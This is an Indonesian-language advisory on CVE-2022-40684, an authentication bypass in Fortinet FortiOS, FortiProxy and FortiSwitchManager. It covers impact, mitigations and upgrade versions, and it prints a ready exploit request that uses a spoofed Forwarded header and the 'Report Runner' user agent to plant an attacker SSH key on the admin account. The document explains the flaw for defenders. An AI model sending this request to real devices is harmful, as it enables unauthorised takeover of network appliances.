CVE-2022-40684

Dec 02 2022
Tentang Kerentanan CVE-2022-40684 adalah kerentanan bypass otentikasi di beberapa produk Fortinet seperti FortiOS, Fortiproxy dan FortiSwitchManager. Artinya, dengan menggunakan kerentanan ini, penyerang dapat melewati otentikasi dan login sebagai admin.

Tentang Kerentanan

CVE-2022-40684 adalah kerentanan bypass autentikasi di beberapa produk Fortinet seperti FortiOS, Fortiproxy, dan FortiSwitchManager. Artinya, dengan menggunakan kerentanan ini, penyerang dapat melewati otentikasi dan login sebagai admin. Skor dasar untuk kerentanan ini adalah 9,8 sehingga sangat kritis. Sebelum melangkah lebih jauh, mari kita pahami apa saja produk-produk ini:

  1. FortiOS: Seperti namanya FortiOS, Sistem Operasi Jaringan Fortinet , adalah jantung dari Keamanan Fortinet. Sistem operasi ini, merupakan inti dari Security Fabric dan menyatukan semua komponen untuk memastikan integrasi yang erat di seluruh penerapan organisasi.
  2. FortiProxy: Ini adalah proxy web aman yang melindungi karyawan dari serangan yang ditularkan melalui internet dengan menggabungkan berbagai teknik deteksi seperti pemfilteran web.
  3. FortiSwitchManager (FSWM) adalah platform manajemen lokal untuk produk FortiSwitch . Unit FortiSwitch terhubung ke FortiSwitch Manager melalui jaringan layer-3. Anda dapat mengonfigurasi sejumlah besar unit FortiSwitch dengan platform khusus manajemen FortiSwitch ini.

Dampak

Bug akan memungkinkan pengguna yang tidak diautentikasi untuk melakukan operasi secara langsung di panel admin melalui beberapa permintaan HTTP/S (metode dapat berupa GET, POST, DELETE, dll). Memiliki peran administrator dapat menyebabkan beberapa kejadian berikut:

  1. Kontrol mengambil alih seluruh aplikasi
  2. Memperoleh akses ke infrastruktur internal
  3. Penambahan atau penghapusan pengguna
  4. Paparan data sensitif
  5. Ubah kunci SSH pengguna admin untuk memungkinkan penyerang masuk ke sistem yang disusupi
  6. Merusak file konfigurasi yang berbeda, dll.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected] \”” }

  • Dengan menggunakan header Fowarded, penyerang dapat mengatur client_ip ke "127.0.0.1".
  • Pemeriksaan autentikasi "akses tepercaya" memverifikasi bahwa client_ip adalah "127.0.0.1" dan Agen-Pengguna adalah "Pelari Laporan" yang keduanya berada di bawah kendali penyerang.

“Menemukan obat jauh lebih penting daripada menemukan kesalahan”

Berikut adalah beberapa perbaikan untuk melindungi organisasi dari CVE-2022–40684:

  1. Peningkatan gradasi produk yang terpengaruh.
    Tingkatkan versi FortiOS ke ≥7.2.2 dan ≥7.0.7
    Tingkatkan versi FortiProxy ke ≥7.2.1 dan ≥ 7.0.7
    Tingkatkan versi FortiSwitchManager ≥7.2.1 dan ≥7.0.1
  2. Nonaktifkan antarmuka administratif http/https di FortiOS, FortiProxy, dan FortiSwitchManager.
  3. Untuk FortiOS, batasi alamat IP yang dapat mencapai antarmuka administratif
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end